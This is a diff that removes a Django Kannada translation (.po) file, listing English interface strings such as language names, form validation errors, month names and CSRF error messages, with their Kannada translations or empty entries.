"" - -msgid "Bosnian" -msgstr "ಬೋಸ್ನಿಯನ್" - -msgid "Catalan" -msgstr "ಕೆಟಲಾನ್" - -msgid "Czech" -msgstr "ಝೆಕ್" - -msgid "Welsh" -msgstr "ವೆಲ್ಷ್" - -msgid "Danish" -msgstr "ಡ್ಯಾನಿಷ್" - -msgid "German" -msgstr "ಜರ್ಮನ್" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "ಗ್ರೀಕ್" - -msgid "English" -msgstr "ಇಂಗ್ಲಿಷ್" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "ಬ್ರಿಟೀಶ್ ಇಂಗ್ಲಿಷ್" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "ಸ್ಪ್ಯಾನಿಷ್" - -msgid "Argentinian Spanish" -msgstr "ಅರ್ಜೆಂಟಿನಿಯನ್ ಸ್ಪಾನಿಷ್" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "ಮೆಕ್ಸಿಕನ್ ಸ್ಪಾನಿಷ್" - -msgid "Nicaraguan Spanish" -msgstr "nicarguan ಸ್ಪಾನಿಷ್" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "ಎಷ್ಟೋನಿಯನ್" - -msgid "Basque" -msgstr "ಬಾಸ್ಕ್‍" - -msgid "Persian" -msgstr "ಪರ್ಶಿಯನ್" - -msgid "Finnish" -msgstr "ಫಿನ್ನಿಶ್" - -msgid "French" -msgstr "ಫ್ರೆಂಚ್" - -msgid "Frisian" -msgstr "ಫ್ರಿಸಿಯನ್" - -msgid "Irish" -msgstr "ಐರಿಶ್" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "ಗೆಲಿಶಿಯನ್" - -msgid "Hebrew" -msgstr "ಹೀಬ್ರೂ" - -msgid "Hindi" -msgstr "ಹಿಂದಿ" - -msgid "Croatian" -msgstr "ಕ್ರೊಯೇಶಿಯನ್" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "ಹಂಗೇರಿಯನ್" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "ಇಂಡೋನಿಶಿಯನ್" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "ಐಸ್‌ಲ್ಯಾಂಡಿಕ್" - -msgid "Italian" -msgstr "ಇಟಾಲಿಯನ್" - -msgid "Japanese" -msgstr "ಜಾಪನೀಸ್" - -msgid "Georgian" -msgstr "ಜಾರ್ಜೆಯನ್ " - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "" - -msgid "Khmer" -msgstr "ಖಮೇರ್" - -msgid "Kannada" -msgstr "ಕನ್ನಡ" - -msgid "Korean" -msgstr "ಕೊರಿಯನ್" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "ಲಿತುವಾನಿಯನ್ " - -msgid "Latvian" -msgstr "ಲಾಟ್ವಿಯನ್" - -msgid "Macedonian" -msgstr "ಮೆಸಡೊನಿಯನ್" - -msgid "Malayalam" -msgstr "ಮಲಯಾಳಂ" - -msgid "Mongolian" -msgstr "ಮಂಗೊಲಿಯನ್" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "ಡಚ್" - -msgid "Norwegian Nynorsk" -msgstr "ನಾರ್ವೇಜಿಯನ್ ನಿನೋರ್ಕ್" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "ಪಂಜಾಬಿ" - -msgid "Polish" -msgstr "ಪೋಲಿಷ್" - -msgid "Portuguese" -msgstr "ಪೋರ್ಚುಗೀಸ್" - -msgid "Brazilian Portuguese" -msgstr "ಬ್ರಜೀಲಿಯನ್ ಪೋರ್ಚುಗೀಸ್" - -msgid "Romanian" -msgstr "ರೋಮೇನಿಯನ್" - -msgid "Russian" -msgstr "ರಶಿಯನ್" - -msgid "Slovak" -msgstr "ಸ್ಲೋವಾಕ್" - -msgid "Slovenian" -msgstr "ಸ್ಲೋವೇನಿಯನ್" - -msgid "Albanian" -msgstr "ಅಲ್ಬೆನಿಯನ್ " - -msgid "Serbian" -msgstr "ಸರ್ಬಿಯನ್" - -msgid "Serbian Latin" -msgstr "ಸರ್ಬಿಯನ್ ಲ್ಯಾಟಿನ್" - -msgid "Swedish" -msgstr "ಸ್ವೀಡಿಷ್" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "ತಮಿಳು" - -msgid "Telugu" -msgstr "ತೆಲುಗು" - -msgid "Thai" -msgstr "ಥಾಯ್" - -msgid "Turkish" -msgstr "ಟರ್ಕಿಶ್" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "ಉಕ್ರೇನಿಯನ್" - -msgid "Urdu" -msgstr "ಉರ್ದು" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "ವಿಯೆತ್ನಾಮೀಸ್" - -msgid "Simplified Chinese" -msgstr "ಸರಳೀಕೃತ ಚೈನೀಸ್" - -msgid "Traditional Chinese" -msgstr "ಸಂಪ್ರದಾಯಿಕ ಚೈನೀಸ್ " - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "ಸಿಂಧುವಾದ ಮೌಲ್ಯವನ್ನು ನಮೂದಿಸಿ." - -msgid "Enter a valid URL." -msgstr "ಸರಿಯಾದ ಒಂದು URL ಅನ್ನು ನಮೂದಿಸಿ." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "ಒಂದು ಸರಿಯಾದ IPv4 ವಿಳಾಸವನ್ನು ನಮೂದಿಸಿ." - -msgid "Enter a valid IPv6 address." -msgstr "ಮಾನ್ಯವಾದ IPv6 ವಿಳಾಸ ದಾಖಲಿಸಿ" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "ಮಾನ್ಯವಾದ IPv4 ಅಥವಾ IPv6 ವಿಳಾಸ ದಾಖಲಿಸಿ" - -msgid "Enter only digits separated by commas." -msgstr "ಅಲ್ಪವಿರಾಮ(,)ಗಳಿಂದ ಬೇರ್ಪಟ್ಟ ಅಂಕೆಗಳನ್ನು ಮಾತ್ರ ಬರೆಯಿರಿ." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"ಈ ಮೌಲ್ಯವು %(limit_value)s ಆಗಿದೆ ಎಂದು ಖಚಿತಪಡಿಸಿಕೊಳ್ಳಿ (ಇದು %(show_value)s ಆಗಿದೆ)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"ಈ ಮೌಲ್ಯವು %(limit_value)s ಕ್ಕಿಂತ ಕಡಿಮೆಯ ಅಥವ ಸಮನಾದ ಮೌಲ್ಯವಾಗಿದೆ ಎಂದು ಖಾತ್ರಿ " -"ಮಾಡಿಕೊಳ್ಳಿ." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"ಈ ಮೌಲ್ಯವು %(limit_value)s ಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಅಥವ ಸಮನಾದ ಮೌಲ್ಯವಾಗಿದೆ ಎಂದು ಖಾತ್ರಿ " -"ಮಾಡಿಕೊಳ್ಳಿ." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "ಒಂದು ಸಂಖ್ಯೆಯನ್ನು ನಮೂದಿಸಿ." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "ಮತ್ತು" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "ಈ ಅಂಶವನ್ನು ಖಾಲಿ ಬಿಡುವಂತಿಲ್ಲ." - -msgid "This field cannot be blank." -msgstr "ಈ ಸ್ಥಳವು ಖಾಲಿ ಇರುವಂತಿಲ್ಲ." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" -"ಈ %(field_label)s ಅನ್ನು ಹೊಂದಿರುವ ಒಂದು %(model_name)s ಈಗಾಗಲೆ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆ." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "ಕ್ಷೇತ್ರದ ಬಗೆ: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "ಬೂಲಿಯನ್ (ಹೌದು ಅಥವ ಅಲ್ಲ)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "ಪದಪುಂಜ (%(max_length)s ವರೆಗೆ)" - -msgid "Comma-separated integers" -msgstr "ಅಲ್ಪವಿರಾಮ(,) ದಿಂದ ಬೇರ್ಪಟ್ಟ ಪೂರ್ಣಸಂಖ್ಯೆಗಳು" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "ದಿನಾಂಕ (ಸಮಯವಿಲ್ಲದೆ)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "ದಿನಾಂಕ (ಸಮಯದೊಂದಿಗೆ)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "ದಶಮಾನ ಸಂಖ್ಯೆ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "" - -msgid "File path" -msgstr "ಕಡತದ ಸ್ಥಾನಪಥ" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "ತೇಲುವ-ಬಿಂದು ಸಂಖ್ಯೆ" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "ಪೂರ್ಣಾಂಕ" - -msgid "Big (8 byte) integer" -msgstr "ಬೃಹತ್ (೮ ಬೈಟ್) ಪೂರ್ಣ ಸಂಖ್ಯೆ" - -msgid "IPv4 address" -msgstr "IPv4 ವಿಳಾಸ" - -msgid "IP address" -msgstr "IP ವಿಳಾಸ" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "ಬೂಲಿಯನ್ (ನಿಜ, ಸುಳ್ಳು ಅಥವ ಯಾವುದೂ ಅಲ್ಲ ಇವುಗಳಲ್ಲಿ ಒಂದು)" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "ಪಠ್ಯ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "ಸಮಯ" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "" - -msgid "Image" -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "ಬಾಹ್ಯ ಕೀಲಿ (ಸಂಬಂಧಿತ ಸ್ಥಳದಿಂದ ಪ್ರಕಾರವನ್ನು ನಿರ್ಧರಿಸಲಾಗುತ್ತದೆ)" - -msgid "One-to-one relationship" -msgstr "ಒನ್-ಟು-ಒನ್ (ಪರಸ್ಪರ) ಸಂಬಂಧ" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "ಮೆನಿ-ಟು-ಮೆನಿ (ಸಾರ್ವಜನಿಕ) ಸಂಬಂಧ" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "ಈ ಸ್ಥಳವು ಅಗತ್ಯವಿರುತ್ತದೆ." - -msgid "Enter a whole number." -msgstr "ಪೂರ್ಣಾಂಕವೊಂದನ್ನು ನಮೂದಿಸಿ." - -msgid "Enter a valid date." -msgstr "ಸರಿಯಾದ ದಿನಾಂಕವನ್ನು ನಮೂದಿಸಿ." - -msgid "Enter a valid time." -msgstr "ಸರಿಯಾದ ಸಮಯವನ್ನು ನಮೂದಿಸಿ." - -msgid "Enter a valid date/time." -msgstr "ಸರಿಯಾದ ದಿನಾಂಕ/ಸಮಯವನ್ನು ನಮೂದಿಸಿ." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"ಯಾವದೇ ಕಡತವನ್ನೂ ಸಲ್ಲಿಸಲಾಗಿಲ್ಲ. ನಮೂನೆಯ ಮೇಲಿನ ಸಂಕೇತೀಕರಣ (ಎನ್ಕೋಡಿಂಗ್) ಬಗೆಯನ್ನು " -"ಪರೀಕ್ಷಿಸಿ." - -msgid "No file was submitted." -msgstr "ಯಾವದೇ ಕಡತವನ್ನೂ ಸಲ್ಲಿಸಲಾಗಿಲ್ಲ." - -msgid "The submitted file is empty." -msgstr "ಸಲ್ಲಿಸಲಾದ ಕಡತ ಖಾಲಿ ಇದೆ." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"ದಯವಿಟ್ಟು ಕಡತವನ್ನು ಸಲ್ಲಿಸಿ ಅಥವ ಅಳಿಸುವ ಗುರುತುಚೌಕವನ್ನು ಗುರುತು ಹಾಕಿ, ಎರಡನ್ನೂ ಒಟ್ಟಿಗೆ " -"ಮಾಡಬೇಡಿ." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"ಸರಿಯಾದ ಚಿತ್ರವನ್ನು ಸೇರಿಸಿ. ನೀವು ಸೇರಿಸಿದ ಕಡತವು ಚಿತ್ರವೇ ಅಲ್ಲ ಅಥವಾ ಅದು ಒಂದು ಹಾಳಾದ " -"ಚಿತ್ರವಾಗಿದೆ. " - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "ಸರಿಯಾದ ಒಂದು ಆಯ್ಕೆಯನ್ನು ಆರಿಸಿ. %(value)s ಎನ್ನುವುದು ಲಭ್ಯವಿರುವ ಆಯ್ಕೆಗಳಲ್ಲಿ ಇಲ್ಲ." - -msgid "Enter a list of values." -msgstr "ಮೌಲ್ಯಗಳ ಒಂದು ಪಟ್ಟಿಯನ್ನು ನಮೂದಿಸಿ." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "ಕ್ರಮ" - -msgid "Delete" -msgstr "ಅಳಿಸಿಹಾಕಿ" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s ಗಾಗಿ ಎರಡು ಬಾರಿ ನಮೂದಿಸಲಾದ ಮಾಹಿತಿಯನ್ನು ಸರಿಪಡಿಸಿ." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"%(field)s ಗಾಗಿ ಎರಡು ಬಾರಿ ನಮೂದಿಸಲಾದ ಮಾಹಿತಿಯನ್ನು ಸರಿಪಡಿಸಿ, ಇದರ ಮೌಲ್ಯವು " -"ವಿಶಿಷ್ಟವಾಗಿರಬೇಕು." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(field_name)s ಗಾಗಿ ಎರಡು ಬಾರಿ ನಮೂದಿಸಲಾದ ಮಾಹಿತಿಯನ್ನು ಸರಿಪಡಿಸಿ, %(date_field)s " -"ನಲ್ಲಿನ %(lookup)s ಗಾಗಿ ಇದರ ಮೌಲ್ಯವು ವಿಶಿಷ್ಟವಾಗಿರಬೇಕು." - -msgid "Please correct the duplicate values below." -msgstr "ದಯವಿಟ್ಟು ಈ ಕೆಳಗೆ ಎರಡು ಬಾರಿ ನಮೂದಿಸಲಾದ ಮೌಲ್ಯವನ್ನು ಸರಿಪಡಿಸಿ." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "ಸರಿಯಾದ ಒಂದು ಆಯ್ಕೆಯನ್ನು ಆರಿಸಿ. ಆ ಆಯ್ಕೆಯು ಲಭ್ಯವಿರುವ ಆಯ್ಕೆಗಳಲ್ಲಿ ಇಲ್ಲ." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "ಮುಕ್ತಗೊಳಿಸು" - -msgid "Currently" -msgstr "ಪ್ರಸಕ್ತ" - -msgid "Change" -msgstr "ಬದಲಾವಣೆ" - -msgid "Unknown" -msgstr "ಗೊತ್ತಿರದ" - -msgid "Yes" -msgstr "ಹೌದು" - -msgid "No" -msgstr "ಇಲ್ಲ" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "ಹೌದು,ಇಲ್ಲ,ಇರಬಹುದು" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d ಬೈಟ್‌ಗಳು" -msgstr[1] "%(size)d ಬೈಟ್‌ಗಳು" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "ಅಪರಾಹ್ನ" - -msgid "a.m." -msgstr "ಪೂರ್ವಾಹ್ನ" - -msgid "PM" -msgstr "ಅಪರಾಹ್ನ" - -msgid "AM" -msgstr "ಪೂರ್ವಾಹ್ನ" - -msgid "midnight" -msgstr "ಮಧ್ಯರಾತ್ರಿ" - -msgid "noon" -msgstr "ಮಧ್ಯಾಹ್ನ" - -msgid "Monday" -msgstr "ಸೋಮವಾರ" - -msgid "Tuesday" -msgstr "ಮಂಗಳವಾರ" - -msgid "Wednesday" -msgstr "ಬುಧವಾರ" - -msgid "Thursday" -msgstr "ಗುರುವಾರ" - -msgid "Friday" -msgstr "ಶುಕ್ರವಾರ" - -msgid "Saturday" -msgstr "ಶನಿವಾರ" - -msgid "Sunday" -msgstr "ರವಿವಾರ" - -msgid "Mon" -msgstr "ಸೋಮ" - -msgid "Tue" -msgstr "ಮಂಗಳ" - -msgid "Wed" -msgstr "ಬುಧ" - -msgid "Thu" -msgstr "ಗುರು" - -msgid "Fri" -msgstr "ಶುಕ್ರ" - -msgid "Sat" -msgstr "ಶನಿ" - -msgid "Sun" -msgstr "ರವಿ" - -msgid "January" -msgstr "ಜನವರಿ" - -msgid "February" -msgstr "ಫೆಬ್ರುವರಿ" - -msgid "March" -msgstr "ಮಾರ್ಚ್" - -msgid "April" -msgstr "ಎಪ್ರಿಲ್" - -msgid "May" -msgstr "ಮೇ" - -msgid "June" -msgstr "ಜೂನ್" - -msgid "July" -msgstr "ಜುಲೈ" - -msgid "August" -msgstr "ಆಗಸ್ಟ್" - -msgid "September" -msgstr "ಸೆಪ್ಟೆಂಬರ್" - -msgid "October" -msgstr "ಅಕ್ಟೋಬರ್" - -msgid "November" -msgstr "ನವೆಂಬರ್" - -msgid "December" -msgstr "ಡಿಸೆಂಬರ್" - -msgid "jan" -msgstr "ಜನವರಿ" - -msgid "feb" -msgstr "ಫೆಬ್ರವರಿ" - -msgid "mar" -msgstr "ಮಾರ್ಚ್" - -msgid "apr" -msgstr "ಏಪ್ರಿಲ್" - -msgid "may" -msgstr "ಮೇ" - -msgid "jun" -msgstr "ಜೂನ್" - -msgid "jul" -msgstr "ಜುಲೈ" - -msgid "aug" -msgstr "ಆಗಸ್ಟ್‍" - -msgid "sep" -msgstr "ಸೆಪ್ಟೆಂಬರ್" - -msgid "oct" -msgstr "ಅಕ್ಟೋಬರ್" - -msgid "nov" -msgstr "ನವೆಂಬರ್" - -msgid "dec" -msgstr "ಡಿಸೆಂಬರ್" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "ಜನ." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "ಫೆಬ್ರ." - -msgctxt "abbrev. month" -msgid "March" -msgstr "ಮಾರ್ಚ್" - -msgctxt "abbrev. month" -msgid "April" -msgstr "ಏಪ್ರಿಲ್" - -msgctxt "abbrev. month" -msgid "May" -msgstr "ಮೇ" - -msgctxt "abbrev. month" -msgid "June" -msgstr "ಜೂನ್" - -msgctxt "abbrev. month" -msgid "July" -msgstr "ಜುಲೈ" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "ಆಗ." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "ಸೆಪ್ಟೆ." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "ಅಕ್ಟೋ." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "ನವೆಂ." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "ಡಿಸೆಂ." - -msgctxt "alt. month" -msgid "January" -msgstr "ಜನವರಿ" - -msgctxt "alt. month" -msgid "February" -msgstr "ಫೆಬ್ರವರಿ" - -msgctxt "alt. month" -msgid "March" -msgstr "ಮಾರ್ಚ್" - -msgctxt "alt. month" -msgid "April" -msgstr "ಏಪ್ರಿಲ್" - -msgctxt "alt. month" -msgid "May" -msgstr "ಮೇ" - -msgctxt "alt. month" -msgid "June" -msgstr "ಜೂನ್" - -msgctxt "alt. month" -msgid "July" -msgstr "ಜುಲೈ" - -msgctxt "alt. month" -msgid "August" -msgstr "ಆಗಸ್ಟ್‍" - -msgctxt "alt. month" -msgid "September" -msgstr "ಸಪ್ಟೆಂಬರ್" - -msgctxt "alt. month" -msgid "October" -msgstr "ಅಕ್ಟೋಬರ್" - -msgctxt "alt. month" -msgid "November" -msgstr "ನವೆಂಬರ್" - -msgctxt "alt. month" -msgid "December" -msgstr "ಡಿಸೆಂಬರ್" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "ಅಥವ" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "ಯಾವುದೆ ವರ್ಷವನ್ನು ಸೂಚಿಲಾಗಿಲ್ಲ" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "ಯಾವುದೆ ತಿಂಗಳನ್ನು ಸೂಚಿಸಲಾಗಿಲ್ಲ" - -msgid "No day specified" -msgstr "ಯಾವುದೆ ದಿನವನ್ನು ಸೂಚಿಸಲಾಗಿಲ್ಲ" - -msgid "No week specified" -msgstr "ಯಾವುದೆ ವಾರವನ್ನು ಸೂಚಿಸಲಾಗಿಲ್ಲ" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "ಯಾವುದೆ %(verbose_name_plural)s ಲಭ್ಯವಿಲ್ಲ" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"ಭವಿಷ್ಯದ %(verbose_name_plural)s ಲಭ್ಯವಿಲ್ಲ ಏಕೆಂದರೆ %(class_name)s.allow_future " -"ಎನ್ನುವುದು ಅಸತ್ಯವಾಗಿದೆ (ಫಾಲ್ಸ್‍) ಆಗಿದೆ." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "ಮನವಿಗೆ ತಾಳೆಯಾಗುವ ಯಾವುದೆ %(verbose_name)s ಕಂಡುಬಂದಿಲ್ಲ" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid 